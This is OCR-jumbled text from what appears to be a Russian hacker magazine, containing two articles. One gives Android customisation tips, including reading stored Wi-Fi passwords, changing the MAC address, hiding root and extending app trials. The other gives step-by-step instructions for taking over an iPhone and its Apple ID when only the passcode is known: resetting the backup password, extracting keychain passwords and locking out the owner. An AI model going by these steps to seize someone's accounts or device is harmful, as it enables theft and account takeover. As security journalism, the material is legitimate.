при ложе ния, пред назна чен ные для дру гих устрой ств, или вклю чать недос‐ 
тупные дру гим фун кции. Нап ример, выдать себя за Pixel 2 XL и пос тавить
новый Pixel Launcher с пол ноцен ной под дер жкой Android Assistant;

• ro.product.model

 — плот ность пик селей на экра не, которую я всег да
выс тавляю для сво его Nexus 5 на 420 вмес то 480. Это поз воля ет получить
пять ико нок в ряд в сто ковом лаун чере вмес то четырех плюс дела ет текст
более мел ким;

• ro.sf.lcd_density

  —  при  зна чении  0  убе рет  задер жку
начала вклю чения музыки при звон ке;

• ro.telephony.call_ring.delay

  —  содер жит  четыре  коман ды,  отве чающие
за  работу  шумода ва.  Мож но  поиг рать  со  зна чени ями,  если  тебя  пло хо
слыш но при звон ке или есть «буль кающий» звук на записи видео;

• persist.audio.fluence

 — зна чение 1 уби рает бутани мацию;• debug.sf.nobootanimation

  —  зна чение  true  уве личи вает  ско рость
заг рузки телефо на (в теории);

• ro.config.hw_quickpoweron

 — поз воля ет акти виро вать показ наэк ранных кла‐ 
виш в допол нение к хар двар ным;

• qemu.hw.mainkeys=0

  —  говорит  сис теме,  в  какой  режим
дол жна быть перек лючена мобиль ная сеть при заг рузке. В  качес тве зна‐ 
чения  выс тупа ет  циф ра,  которую мож но  узнать  так:  набира ем  в  номеро‐ 
наби рате ле    и  нажима ем  на  «Информа ция  о  телефо не».
В  меню  «Пред почти тель ный  тип  сети»  отсчи тыва ем  свер ху  до  нуж ного
режима.  Счет  начина ется  с  нуля.  То  есть  для  3G‐смар тфо на  зна чения
будут такими: WCDMA preferred (пред почти тель но 3G) — это 0, GSM Only
(толь ко  2G)  —  1,  WCDMA  only  (толь ко  3G)  —  2  и  так  далее.  Дос читал
до  нуж ного  пун кта  —  записал  циф ру  в  зна чение.  Теперь  сра зу  пос ле
перезаг рузки  сеть  будет  акти виро вать ся  имен но  в  том  режиме,  который
записан в build.prop.

• ro.telephony.default_network

*#*#4636#*#*

AdAway и файл build.prop

Ищем пароли Wi-Fi
Что бы  вспом нить  пароль  от  какой‐либо  хоть  раз  под клю чен ной  сети,  ну
или перенес ти все сети с одно го устрой ства на дру гое без при вяз ки акка унта
Google,  мож но  заг лянуть  в файл  .
Наз вания сетей и пароли лежат в откры том тек сто вом виде.

/system/etc/wifi/wpa_supplicant.conf

Ме няем MAC-адрес
Ес ли  тебе  понадо билось  поменять  MAC  (нап ример,  что бы  под клю чить
Chromecast  через  общес твен ную  точ ку  Wi‐Fi,  тре бующую  нажатия  кноп ки
в бра узе ре), то в этом поможет при ложе ние  .Change My MAC

Для  тех,  кто  хочет разоб рать ся,  как  это работа ет, — вос поль зуем ся  кон‐ 
солью  (допол нитель но  понадо бит ся  уста нов ленный  BusyBox).  Откры ваем
эму лятор тер минала на устрой стве, зап рашива ем пра ва супер поль зовате ля:

$ su

Смот рим свой текущий MAC:

# busybox iplink show eth0

Ме няем на нуж ный:

# busybox ifconfig eth0 hw ether XX:XX:XX:XX:XX:XX

Вмес то    под став ляем  адрес,  на  который  надо  сме нить
текущий. Для  уве рен ности про веря ем,  что  все получи лось,  с  помощью пре‐ 
дыду щей  коман ды.  На  некото рых  устрой ствах  (в  зависи мос ти  от  про шив ки)
вмес то   необ ходимо писать  .

XX:XX:XX:XX:XX:XX

eth0 wlan0
Те, кто не при вык к кон соли, могут вруч ную поменять текст в фай ле 

 на новых про шив ках или файл 
 на более ста рых.

/sys/
class/net/wlan0/address /efs/wifi/.mac.
cob

Lucky Patcher и Change My MAC

Из бавля емся от ненуж ных при ложе ний
Что бы изба вить ся от bloatware — пре дус танов ленных вен дором при ложе ний,
которы ми  ты  не  поль зуешь ся,  —  возь ми  .  С  его  помощью
мож но уда лить ненуж ные сис темные при ложе ния, заморо зить их, перенес ти
при ложе ния  на  кар ту  памяти,  сде лать  их  сис темны ми,  соб рать  из  бэкапов
файл update.zip для про шив ки через рекаве ри и мно гое дру гое.

Titanium  Backup

Эко номим батарей ку
Хо чешь мак сималь но уве личить про дол житель ность жиз ни телефо на от одной
заряд ки и изба вить ся от лагов в интерфей се — тебе нужен  . Он уме ет
отправ лять  в  сон  все  при ложе ния,  которые  не  исполь зуют ся  в  дан ный
момент. И это не прос то сон — Greenify отклю чает все сер висы, пери оди чес‐ 
кие  задачи,  про буж дения,  обновле ния  вид жетов  и  сер вис  push‐сооб щений.
Глав ное — не перес тарать ся, ина че мож но прев ратить смар тфон в бес полез‐ 
ную зво нил ку.

Greenify

Titanium Backup и Greenify

XPOSED FRAMEWORK
Ну  а  это  наш  любимый  инс тру мент  для  уста нов ки модов  на  Android. 
поз воля ет модифи циро вать про шив ку «на живую», с помощью модулей. Такие
модули  могут  изме нять  работу  и  внеш ний  вид  как  самого  Android,  так
и отдель но взя тых при ложе ний.

Xposed

Продолжение статьи →



TIPS'N'TRICKS 
ИЗ АРСЕНАЛА АНДРОИДОВОДА

САМЫЕ ИНТЕРЕСНЫЕ, ПОЛЕЗНЫЕ
И НЕСТАНДАРТНЫЕ ТРЮКИ С ANDROID

X‐MOBILE  НАЧАЛО СТАТЬИ←

Все в одном
 —  это  глав ный мегамо дуль  для  любите лей  кас томиза ции  Android

(про шив ки  на  базе  AOSP).  Выбирай  модуль  под  свою  вер сию  про шив ки.
Некото рые из дос тупных фун кций и нас тро ек:

GravityBox

  —  фон,  проз рачность,  добав ление  ярлы ков,  поворот
экра на, авто мати чес кая раз бло киров ка пос ле вво да пра виль ного пароля/
пин‐кода (не надо жать галоч ку или ОK), нас трой ка ниж них пра вой и левой
кно пок;

• эк ран  бло киров ки

 — плит ки, знач ки, цве та, штор ка уве дом лений, батарея,
часы,  монитор  тра фика,  бло киров ка  уве дом лений,  двой ное  нажатие
для сна;

• стро ка сос тояния

 — режим левой руки, сме на кно пок «Назад» и «Недав‐ 
ние»,  кноп ки  управле ния  кур сором,  авто исчезно вение  кно пок,  высота
панели;

• па нель навига ции

 — полук руглое меню вмес то кно пок навига ции вни зу экра‐ 
на;

• ве ерное меню

 — меню рас ширен ной перезаг рузки,  кноп ка скрин каста в меню,
зву ки  под клю чения  к  обыч ной  и  бес про вод ной  заряд ке,  отклю чение
вспыш ки при низ ком заряде;

• пи тание

 — рас ширен ный рабочий стол, яркость и затуха ние под свет ки, раз‐ 
решение авто пово рота на 360 гра дусов, режимы под свет ки кла виш;

• эк ран

 — отклю чение зву ка при перево роте устрой ства экра ном вниз,
виб рация при соеди нении и в кон це раз говора, нарас тающая гром кость,
умное радио (выбор сети в зависи мос ти от под клю чения в Wi‐Fi, эко ном‐ 
ный режим);

• те лефо ния

 — перек лючение тре ков кноп ками гром кости, допол нитель‐ 
ные  уров ни  гром кости,  при нуди тель ное  рас ширение  панели  гром кости
(основной звук, муль тимедиа, будиль ник);

• муль тимедиа

 — количес тво строк и стол бцов, изме нение вид жетов;• ла унчер
 — дей ствия при нажатии, удер жании и двой ном нажатии

экранных  кно пок,  управле ние  кур сором  в  тек сто вых  полях  кла виша ми
гром кости, про буж дение кноп кой гром кости, виб роот клик;

• кноп ки навига ции

 — нас трой ки записи скрин каста;• за пись экра на
 — нас трой ки по при ложе ниям, активный экран (про буж дение

при получе нии уве дом ления), тихий час;
• опо веще ния

  —  кноп ка  зак рытия  всех  вкла док  в  недав них,  видимость  панели
поис ка, отоб ражение панели сво бод ной памяти в недав них, при ори тет Wi‐
Fi‐сетей, отклю чение фонари ка через про межу ток вре мени.

• про чее

Нас трой ки GravityBox

Про маты ваем спис ки быс тро
Лис тать длин ные спис ки не всег да удоб но, осо бен но если в самом при ложе‐ 
нии  не  пре дус мотре но  кноп ки  для  прыж ков  в  начало  и  конец.  Помогут  нес‐ 
коль ко модулей:    (быс трая перемот ка вверх), 

 (вверх и вниз),   (вверх и вниз).
Statusbar Scroll  to Top Scroll Me

Up Xposed edge

Зап реща ем при ложе ниям выг ружать ся из памяти
Не ред ко сис тема осво бож дения ресур сов Android работа ет про тив  тебя:  ты
чита ешь  текст,  сво рачи ваешь  при ложе ние,  затем  воз вра щаешь ся  к  нему,
а  оно  запус кает ся  заново  и  теря ет  позицию  чте ния.  Ну  или  ты  запус каешь
фоновое при ложе ние, а Android при бива ет его.

Из бежать это го поможет модуль  . Прос то выбери при ложе ние
и  отметь  пункт  Resident.  Там  же  мож но  скрыть  при ложе ние  от  попада ния
в спи сок недав них. Сре ди дру гих воз можнос тей — кас томиза ции для каж дого
отдель ного при ложе ния: нас трой ка DPI, язы ка, ори ента ции, величи ны шриф‐ 
та, показ поверх экра на бло киров ки и дру гие.

App Settings

Об маныва ем три аль ные вер сии при ложе ний
Мо дуль   име ет фун кцию Time machine, которая поз воля ет выс‐ 
тавлять  инди виду аль ные  дату/вре мя  для  выб ранных  при ложе ний.  С  ее
помощью  мож но  мно жес тво  раз  откла дывать  дату  окон чания  работы  три‐ 
ал‐вер сий любых при ложе ний.

Per App Hacking

Сре ди  дру гих  фун кций  модуля:  зап рет  авто запус ка  пос ле  заг рузки,  бло‐ 
киров ка wakelock и нас трой ка отдель ного прок си для при ложе ния, если оно
исполь зует  HTTP‐кли ент 

.
org.apache.http.impl.client.DefaultHttp‐

Client

Ис поль зуем раз ные кла виату ры для раз ных при ложе ний
Мо дуль    поз воля ет  зак репить  за  при ложе ниями  раз личные
экранные  кла виату ры.  Зачем  это  нуж но?  Hacker’s  Keyboard  содер жит  рас‐ 
ширен ный и более удоб но рас положен ный набор спе циаль ных кно пок и иде‐ 
аль но под ходит для эму лято ра тер минала, но не годит ся для написа ния обыч‐ 
ных тек стов. Дан ный модуль поз воля ет исполь зовать ее толь ко с эму лято ром
тер минала.

RememberIME

Пря чем при ложе ния от пос торон них
Нес коль ко модулей, поз воля ющих спря тать или изме нить при ложе ние:

 — пере име новы вает при ложе ние;• xRenamer
 и   — пере име новы вают и меня ют икон ку;• xSuite Flipster
 и   так же меня ют ресур сы (такие как изоб ражения) и цве та

интерфей са при ложе ния;
• Resflux ResXploit

 — изме няет любой текст внут ри при ложе ния.• Custom Text

Пе реназ нача ем кноп ки
Са мый  фун кци ональ ный  модуль  —  .  Отсле жива ет
однократ ные, двой ные и трой ные нажатия,  корот кие или длин ные, понима ет
ком бинации кно пок, поз воля ет по‐раз ному реаги ровать на заб локиро ван ный,
вклю чен ный  или  вык лючен ный  экран,  для  всех  или  избран ных  при ложе ний.
Может  выпол нять  сис темные  дей ствия,  запус кать  ярлы ки  и  при ложе ния,
интегри рован с Tasker’ом, а так же может понимать внеш ние устрой ства, нап‐ 
ример про вод ные гар нитуры и гей мпа ды.

Xposed  Additions  Pro

Ес ли  необ ходимо  нас тро ить  толь ко  управле ние  для музыки,  есть  модуль
поп роще —  .Physical Button Music Control

Без Xposed фун кцию переназ начения кно пок мож но получить с помощью
при ложе ния  .Button Mapper

Из менения пос ле GravityBox и xSuite

Ими тиру ем Wi-Fi-под клю чение
Не кото рые  игры  и  при ложе ния  тре буют  для  работы  Wi‐Fi.  Зас тавить  их
исполь зовать  мобиль ную  сеть  помогут    и 

.
Fake  Wifi  Connection Fake  Wifi  Re‐

worked

При нуди тель но уста нав лива ем при ложе ния на кар ту памяти
Для это го нам понадо бит ся   — мощ ный ком байн для работы с при‐ 
ложе ниями, который так же поможет про даун грей дить при ложе ние, сох ранить
дан ные при ложе ний пос ле уда ления, отклю чить сис темные при ложе ния и их
уве дом ления,  соз дать  бэкап  при ложе ния,  уста новить  непод писан ное  при‐ 
ложе ние,  экспор тировать  уста нов ленные  при ложе ния  (APK‐фай лы)  и  так
далее.

XInstaller

Пря чем root от при ложе ний
Есть нес коль ко модулей, поз воля ющих это сде лать. Для обыч ных при ложе ний
подой дет  , но он не даст скрыть  root от Android Pay  (о том, как это
обой ти,  читай  даль ше).  Запус тить  неуре зан ный  Сбер банк  Онлайн,  ско рее
все го, поможет  . Так же есть модуль  , который
отклю чает  про вер ку  девай са  на  сов мести мость  и  наличие  сис темных  изме‐ 
нений.

RootCloak

SberbankUnroot No Device Check

УЛУЧШАЕМ YOUTUBE: КАЧАЕМ ВИДЕО, СЛУШАЕМ В ФОНЕ И
ДРУГОЕ
1. Ста вим аль тер натив ный YouTube‐кли ент  . Он име ет пол ный дос туп
ко всем видео (вклю чая 4K и 60 fps), име ет исто рию и поз воля ет добав лять
под писки на каналы. Так же есть фун кция про игры вания в фоне — мож но
слу шать  музыку,  одновре мен но  работая  в  дру гом  при ложе нии,  и  даже
запус тить видео в пла вающем окне. Ну а самым при ятным бонусом будет
воз можность  ска чивать  видео  в  любом  качес тве  или  отдель но  MP3‐
дорож ки из видео.

newPipe

2. Про качи ваем стан дар тный YouTube с помощью модулей Xposed. Сна чала
ста вим  ,  что бы  убрать  надо едли вую  рек ламу;  затем  при‐ 
ложе ние    с  модулем    для  вос про‐ 
изве дения видео в пла вающем окне; далее 

  и    для  ска чива ния  видео; 
  для  добав ления  полосы  вос про изве дения  в  уве дом‐ 

ление (удоб но для устрой ств с Google Cast); 
для  вос про изве дения  в  фоне;  Listen2Youtube  для  кон верта ции  в  аудио;

  для  добав ления  под дер жки  жес тов  в  стан дар тный
кли ент  —  свайп  по  горизон тали  для  перемот ки,  свайп  по  вер тикали
для регули ров ки гром кости; ну и в завер шение   для нас трой ки
тем офор мле ния.

YouTube  AdAway
Awesome  Pop‐up  Video YouTube Module

Xposed One Tap Video Down‐
load Xposed  One  Tap  Youtube  Module YouTube
notification  seek  bar

YouTube Background Playback

Youtube  swipe  to  seek

Personalize

Нас тра иваем YouTube

MAGISK
Пе рехо дим  к  ,  ути лите,  которая  поз воля ет  уста нав ливать  раз личные
сис темные моды в режиме systemless. Magisk отли чает ся от Xposed и пред‐ 
став ляет  собой  сис тему  модифи кации  Android  на  самом  ниж нем  уров не.
Имен но  поэто му Magisk  уже  вклю чает  в  себя менед жер  root‐дос тупа  и  сис‐ 
тему обхо да SafetyNet, поз воля ющую исполь зовать Android Pay на рутован ном
устрой стве.

Magisk

Как и Xposed, Magisk исполь зует модули для рас ширения и модифи кации
фун кций Android. О них и погово рим.

Спи сок уста нов ленных модулей Xposed и про вер ка SafetyNet
в Magisk

Улуч шаем зву чание динами ков
Про изво дите ли  гад жетов,  осо бен но  бюд жетно го  и  сред него  сег ментов,
не  слиш ком  муча ются  воп росом  сба лан сирован ного  и  качес твен ного  зву‐ 
чания.  Смар тфо ны  брен чат,  гудят,  тре щат,  но  не  игра ют.  Что бы  хоть  как‐то
улуч шить звук, мож но исполь зовать Viper4Android. Фак тичес ки это сис темный
эква лай зер с мно жес твом пре сетов и эффектов.

Уве личи ваем количес тво шагов гром кости
Мо дуль    в  два  раза  уве личи вает  чис ло  дос тупных
для  регули ров ки  зву ка  шагов.  По  фак ту  он  прос то  добав ляет  в 

 две стро ки:

Volume  Steps  Increase
/system/

build.prop

ro.config.vc_call_vol_steps=14
ro.config.media_vol_steps=30

Глу шим все зву ки
Мо дуль    уби рает  все  зву ки UI,  нап ример сня тия скрин шота,  сра баты‐ 
вания камеры, начала и кон ца виде оза писи, сра баты вания NFC и так далее.
Как мы уже говори ли выше, того же эффекта мож но дос тичь, если уда лить все
фай лы в катало ге  .

MuteUI

/system/media/audio/ui/

TASKER
Ну  и  по  тра диции  нем ного  о  ,  излюблен ном  инс тру мен те  всех  power‐
юзе ров  Android.  В  деб ри  ухо дить  не  будем  и  прос то  при ведем  нес коль ко
прос тых, но полез ных про филей.

Tasker

Ноч ной режим
Сле дующий  про филь  поз волит  тебе  реали зовать  свой  собс твен ный  режим
«Не бес поко ить», ког да с один надца ти вечера до семи утра будут авто мати‐ 
чес ки  отклю чать ся  все  зву ки.  Да,  это  ана лог  сис темной  фун кции,  но  пол‐ 
ностью нас тра иваемый под тебя.

Кон текст: вре мя с 23:00 до 7:00•
За дача: аудио → гром кость вос про изве дения медиа → 0•
За дача: аудио → гром кость звон ка → 0•
За дача: аудио → гром кость сис темно го зву ка → 0•

Уп равле ние яркостью в зависи мос ти от вре мени
Днем яркость выше, ночью ниже. Все прос то.

Кон текст: вре мя → с 9:00 до 20:00•
За дача: экран → яркость дис плея → 80•
Кон текст: вре мя → с 20:01 до 8:59•
За дача: экран → яркость дис плея → 10•

Ав томати чес кое вклю чение авто пово рота в выб ранных при ложе -
ниях
Про филь  будет  полезен,  если  по  умол чанию  ты  отклю чаешь  авто пово рот
экра на.

Кон текст: При ложе ние → Камера, Google Фото, YouTube•
За дача: Экран → Поворот экра на → Вклю чить•

ЗАКЛЮЧЕНИЕ
Да,  да,  мы  навер няка  забыли  о  чем‐то  написать,  а  кое‐где  рас ска зали
не  слиш ком  под робно,  и  теперь  тебе  при ходит ся  раз бирать ся  всле пую.
Но  если  бы  мы  ста ли  вда вать ся  в  детали,  в  статью  вряд  ли  бы  вмес тилась
и треть опи сан ных трю ков.
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X‐MOBILE

Пос ледние  нес коль ко  месяцев  мы  мно го
писали  о  новов ведени ях  в  iOS  11. Мы  хва‐ 
лили сис тему за новый режим SOS и за то,
что  для  уста нов ления  доверен ных  отно‐ 
шений  с  компь юте ром  теперь  тре бует ся
ввес ти  пароль  бло киров ки  устрой ства.
«Теперь‐то  заживем!»  —  думали  мы.
Но ошиб лись. С выходом iOS 11 раз работ‐ 
чики  Apple  не  толь ко  добави ли  новые
механиз мы защиты, но и осла били ста рые,
перело жив  абсо лют но  все  уров ни  защиты
исклю читель но на пароль бло киров ки.

Еще  раз,  помед леннее:  вся  мно гоуров невая  сис тема  безопас ности,  все
допол нитель ные про вер ки, пароли на резер вные копии и даже облачная бло‐ 
киров ка iCloud — теперь все‐все‐все завяза но исклю читель но на пароль бло‐ 
киров ки устрой ства и может быть лег ко сбро шено, если пароль от устрой ства
известен.

В самом деле? Давай раз бирать ся.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

ПАРОЛЬ НА РЕЗЕРВНЫЕ КОПИИ
Пред ставь, что ты работа ешь в ком пании, основной биз нес которой — взлом
паролей. Резер вные копии от iPhone, которые мож но соз дать на компь юте ре
с помощью iTunes или сто рон них при ложе ний, мож но зашиф ровать паролем,
при чем  защита  дос таточ но  стой кая:  для  успешно го  перебо ра  нужен  компь‐ 
ютер  с  мощ ной  виде окар той.  Потом  начина ется  гон ка:  Apple  дела ет  все
более стой кую защиту, ты — раз рабаты ваешь все более совер шенные алго‐ 
рит мы для ее взло ма. В пос ледней ите рации Apple, казалось бы, побеж дает:
даже  компь ютер,  осна щен ный  виде окар тами  по мак симуму,  не  в  сос тоянии
переби рать боль ше нес коль ких десят ков (!) паролей в секун ду.

Пред ста вил? А  теперь — новость: раз работ чики Apple дела ют финт уша‐ 
ми, и в iOS 11 пароль на резер вную копию iPhone, который переби рает ся ну
очень мед ленно, мож но прос то сбро сить. Разуме ется, не на уже соз данном
бэкапе,  а  на  телефо не,  и  толь ко  если  известен  пароль  бло киров ки  (пас‐ 
скод), — тем не менее пароль на резер вную копию прос то сбра сыва ется!

Как было в iOS 8, 9 и 10
Как это было в iOS 10 и более ран них вер сиях сис темы? Пароль на резер вную
копию уста нав ливал ся в iTunes.

Об рати вни мание на опцию Encrypt iPhone backup. Если галоч ка уста нов лена,
то убрать, сбро сить или изме нить пароль через  iTunes мож но в том и толь ко
в том слу чае, если тебе известен ста рый пароль.

В  iOS  пароль  на  резер вную  копию  —  свой ство  не  iTunes,  при  помощи
которой  соз дает ся  бэкап,  и  даже  не  самого  бэкапа,  хоть  он  и  зашиф рован
с  помощью  это го  пароля.  Нет,  пароль  на  резер вные  копии —  это  свой ство
устрой ства,  кон крет ного  iPhone,  глу боко  в  нед рах  которо го  и  хра нит ся  этот
пароль. Любые попыт ки сбро сить или изме нить пароль на резер вную копию
хоть с самого телефо на, хоть через iTunes в обя затель ном поряд ке про ходят
через  iOS.  В  iOS  8,  9  и  10  единс твен ным  спо собом  изме нить  или  убрать
пароль на резер вную копию был запуск iTunes и ввод ста рого пароля.

За был  пароль от  резер вной  копии? Неуди витель но:  веро ятно,  ты  вво дил
его  ров но  один  раз —  при  началь ной  нас трой ке  неиз вес тно  ког да.  Хочешь
сбро сить  забытый  пароль?  Это  воз можно  толь ко  пос ле  сбро са  телефо на
к завод ским нас трой кам. Нет, ты не смо жешь вос ста новить дан ные из зашиф‐ 
рован ного  бэкапа  —  ведь  пароль  ты  не  пом нишь!  Да,  ты  можешь  вос ста‐ 
новить  дан ные  из  iCloud  (вклю чая  облачную  связ ку  клю чей  iCloud  Keychain,
в которой хра нят ся — или могут хра нить ся — все твои пароли).

Ка залось  бы,  сис тема  впол не  логич ная  и  внут ренне  неп ротиво речи вая,
пред лага ющая опти маль ный баланс безопас ности  (не зная пароля — сбро‐ 
сить невоз можно!) и удобс тва (ведь из облачно го бэкапа вос ста новить ся все
рав но мож но, даже если ты забыл пароль). Но жалова лись поль зовате ли: «У
меня  пароль  в  iTunes  —  я  его  не  уста нав ливал!»  Жалова лась  полиция.
Недоволь ны были и кор поратив ные кли енты. И в Apple пош ли на уступки.

Как ста ло в iOS 11
В  iOS  11  ты  по‐преж нему  можешь  уста новить  пароль  на  резер вную  копию
в  iTunes и по‐преж нему не можешь сбро сить или изме нить его через  iTunes,
если  забудешь  ста рый  пароль.  Одна ко  —  сюр приз!  —  теперь  ты  можешь
сбро сить пароль на бэкап непос редс твен но на самом устрой стве. Вот что 

 на эту тему в Apple:
пи‐ 

шут

В  iOS 11 или более поз дних вер сиях мож но соз дать зашиф рован ную
резер вную  копию  устрой ства  путем  сбро са  пароля.  Что бы  сде лать
это, нуж но выпол нить сле дующие дей ствия.
1. На устрой стве с iOS перей дите в меню «Нас трой ки» > «Основные»
> «Сброс».

2. Наж мите «Сбро сить все нас трой ки» и вве дите пароль ОС iOS.
3. Сле дуй те инс трук циям по сбро су нас тро ек. Это не зат ронет дан ные
или  пароли  поль зовате лей,  но  при ведет  к  сбро су  таких  нас тро ек,
как  уро вень  яркости  дис плея,  позиции  прог рамм  на  экра не
«Домой»  и  обои. Пароль  для шиф рования  резер вных  копий  так же
будет уда лен.

4. Под клю чите устрой ство сно ва к  iTunes и соз дай те зашиф рован ную
резер вную копию.

Вы  не  смо жете  исполь зовать  зашиф рован ные  резер вные  копии,
которые были соз даны ранее, но смо жете соз дать в iTunes резер вную
копию текущих дан ных и уста новить новый пароль для нее.

Ес ли на устрой стве уста нов лена  iOS 10 или более ран ней вер сии,
пароль сбро сить нель зя.

Фак тичес ки речь идет вот об этих нас трой ках.

И  все?  Да,  все:  пароль  на  резер вную  копию  iTunes  сбро шен,  и  теперь  ты
можешь  соз дать  новый  бэкап…  а  точ нее —  вытащить  дан ные  из  телефо на.
Обра ти  вни мание:  перед  тем  как  соз давать  све жую  резер вную  копию
в  iTunes,  тебе  нуж но  будет  уста новить  доверен ные  отно шения  с  компь юте‐ 
ром,  для  чего  пот ребу ется  ввес ти  пароль  бло киров ки  на  самом  устрой стве
(по усло виям задачи ты его зна ешь).

Так же  нуж но  обя затель но  задать  новый  (извес тный)  пароль  на  бэкап.
Зачем это дела ется? Если пароля не будет, то дан ные при ложе ний оста нут ся
незашиф рован ными,  зато  связ ка  клю чей  (Keychain)  ока жет ся  зашиф рована
с  исполь зовани ем  аппа рат ного  клю ча,  извлечь  который  из  телефо на  тебе
не удас тся. Так что задай пароль на бэкап, и связ ка клю чей (а в ней, напом‐ 
ним, хра нят ся все пароли поль зовате ля, вклю чая пароль от Apple ID, мар керы
аутен тифика ции,  номера  пла теж ных  карт  и  мно гое  дру гое)  будет  зашиф‐ 
рована с помощью того же самого пароля.

Что  даль ше?  Даль ше  резер вную  копию  рас шифро выва ем  (хотя  бы
при помощи Elcomsoft Phone Breaker) и прос матри ваем содер жимое. Веро‐ 
ятно, боль ше все го нас заин тересу ют пароли поль зовате ля и фотог рафии.

По ищи пароль от Google Account. Если в связ ке клю чей он най дет ся, ты смо‐ 
жешь получить дос туп (нап ример, с исполь зовани ем Elcomsoft Cloud Explorer)
прос то  к  гигант ско му мас сиву дан ных о  поль зовате ле:  под робней шей исто‐ 
рии  мес тополо жения  за  пос ледние  нес коль ко  лет,  всем  его  паролям,  сох‐ 
ранен ным  в  бра узе ре  Chrome,  зак ладкам,  исто рии  поис ковых  зап росов
и  исто рии  бра узе ра  и  мно гому  дру гому.  Двух фактор ная  аутен тифика ция?
С боль шой долей веро ятности тот iPhone, который у тебя в руках, может быть
исполь зован для под твержде ния зап роса через Google Prompt или, на худой
конец, для получе ния SMS с одно разо вым кодом.

Кста ти, а что делать, если фотог рафии в бэкап почему‐то не попали? Даже
у спе циалис тов по извле чению дан ных этот воп рос вре мена ми вызыва ет сту‐ 
пор: фотог рафии  точ но  есть,  вот  они,  их мож но  про лис тать  на  телефо не —
но в резер вной копии их нет!

От вет,  как  пра вило,  будет  очень  прос тым.  Нес коль ко  лет  назад  Apple
пред ста вила сер вис на осно ве  iCloud, поз воля ющий поль зовате лям син хро‐ 
низи ровать фотог рафии и видео через обла ко. Если на iPhone вклю чена нас‐ 
трой ка iCloud Photo Library, то фотог рафии будут сох ранять ся в iCloud — но не
в облачные резер вные копии, а в спе циаль ную область, выделен ную имен но
для меди афай лов. Более того, если эта нас трой ка вклю чена, то и в локаль ные
резер вные  копии,  соз дава емые  при  помощи  iTunes,  фотог рафии  тоже  сох‐ 
ранять ся не будут.  Так  что для их извле чения  ты можешь отклю чить син хро‐ 
низа цию фотог рафий с обла ком в нас трой ках iCloud, пос ле чего соз дать све‐ 
жий бэкап.

В прин ципе, в этих шагах нет боль шой необ ходимос ти; фото и видео мож но
перенес ти  с  iPhone  и  дру гими  спо соба ми,  но  если  уж  сни мать  резер вную
копию, то целиком.

Итак,  имея все го  лишь  iPhone с извес тным паролем бло киров ки, мы  уже
получи ли дос туп к сле дующим дан ным:

все му, что содер жится в локаль ном бэкапе iTunes (с задан ным паролем);•
па ролям ко всем ресур сам из локаль ной связ ки клю чей Keychain;•
фо то и видео;•
дан ным при ложе ний (как пра вило, в фор мате SQLite).•

Это уже немало, но на том инте рес ное не закан чива ется. А если я ска жу тебе,
что теперь ты можешь зап росто сме нить пароль от учет ной записи Apple  ID,
отвя зать  телефон  от  iCloud,  дис танци онно  заб локиро вать  все  осталь ные
устрой ства поль зовате ля, да так, что он ничего не смо жет с этим поделать?
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МЕНЯЕМ ПАРОЛЬ ОТ APPLE ID И ОТКЛЮЧАЕМ БЛОКИРОВКУ
ICLOUD
Ты,  навер ное,  в  кур се,  что  для  того,  что бы  поменять  пароль  от  учет ной
записи  —  неваж но,  Apple,  Google  или  Microsoft,  —  нуж но  пред варитель но
ввес ти ста рый пароль или хотя бы сбро сить его с обя затель ным получе нием
пись ма  на  зарегис три рован ный  адрес  элек трон ной  поч ты.  В  слу чае  с  iOS
пароль от учет ной записи Apple ID (он же — пароль к iCloud) мож но поменять
лег ко и прос то, если у тебя на руках iPhone и тебе известен пароль бло киров‐ 
ки.  Ста рый  пароль  не  нужен;  не  нуж но  получать  пись мо  на  неиз вес тный
заранее  ящик  и  не  нуж но  откры вать  никакие  ссыл ки  для  сбро са  пароля.
Единс твен ная  ого вор ка:  метод  гаран тирован но  работа ет  лишь  для  учет ных
записей с акти виро ван ной двух фактор ной аутен тифика цией.

Итак, у тебя на руках iPhone, и пас скод от него тебе известен. Открой сис‐ 
темное при ложе ние Find My iPhone.

Ви дишь  поле  для  вво да  пароля  с  гроз ной  над писью  Required?  А  ведь
на самом деле его нет! Прос то наж ми на «Forgot Apple ID or password?», и уви‐ 
дишь зап рос пароля бло киров ки телефо на.

Вве ди  пас скод,  и  на  сле дующем  шаге  ты  смо жешь  выб рать  новый  пароль
для учет ной записи Apple ID (он же — пароль от iCloud).

Собс твен но, задача решена: пароль от Apple ID / iCloud мы поменя ли. Теперь
ты можешь зап росто отклю чить фун кцию Find My  iPhone из нас тро ек, и быв‐ 
ший вла делец ничего не смо жет поделать с тво им устрой ством.

Кста ти, все то же самое мож но про делать и дру гим спо собом, без исполь‐ 
зования при ложе ния Find My Phone. Для это го дос таточ но клик нуть на Apple
ID в нас трой ках устрой ства, пос ле чего открыть пункт Password & Security.

Да лее — нажать Change Password. Будет зап рос пароля бло киров ки устрой‐ 
ства.

Пос ле это го мож но спо кой но сме нить пароль от iCloud / Apple ID.

Воз вра щаясь к пер вому шагу, обра ти вни мание на пункт Trusted Phone Num‐
ber. Здесь ука зыва ется тот номер телефо на, на который будут при ходить SMS
для двух фактор ной аутен тифика ции. Имен но этот номер мож но исполь зовать
для  вос ста нов ления дос тупа  к  учет ной  записи,  если  зло умыш ленник  сме нит
пароль  от  Apple  ID.  Впро чем,  если  зло умыш ленни ку  известен  пас скод
от  устрой ства,  то  проб лемы  не  сущес тву ет:  пер вым  шагом  добав ляет ся
новый «доверен ный номер телефо на», вто рым — уда ляет ся ста рый, при над‐ 
лежав ший быв шему вла дель цу учет ной записи. С это го момен та дей стви тель‐ 
но  все:  тап ки  целиком  и  пол ностью,  со  все ми  пот рохами,  при над лежат
новому вла дель цу.

Нуж но ли здесь писать, как отклю чает ся фун кция Find My iPhone? Это бук‐ 
валь но пара кли ков в нас трой ках iCloud; для отклю чения бло киров ки телефо‐ 
на  iCloud  у  тебя  могут  зап росить  пароль  от  учет ной  записи,  но  ты  его  зна‐ 
ешь — сам толь ко что уста новил.

Ну и вишен ка на тор те. Исполь зуя все то же при ложе ние Find My iPhone, ты
можешь зай ти в учет ную запись быв шего вла дель ца, исполь зуя новый пароль
(если  вклю чена  двух фактор ная  аутен тифика ция,  мож но  исполь зовать
как  push‐код,  так  и  одно разо вый  код,  который  генери рует ся  из  нас тро ек
устрой ства).  Зай дя  же  в  учет ную  запись,  ты  можешь  най ти  все  осталь ные
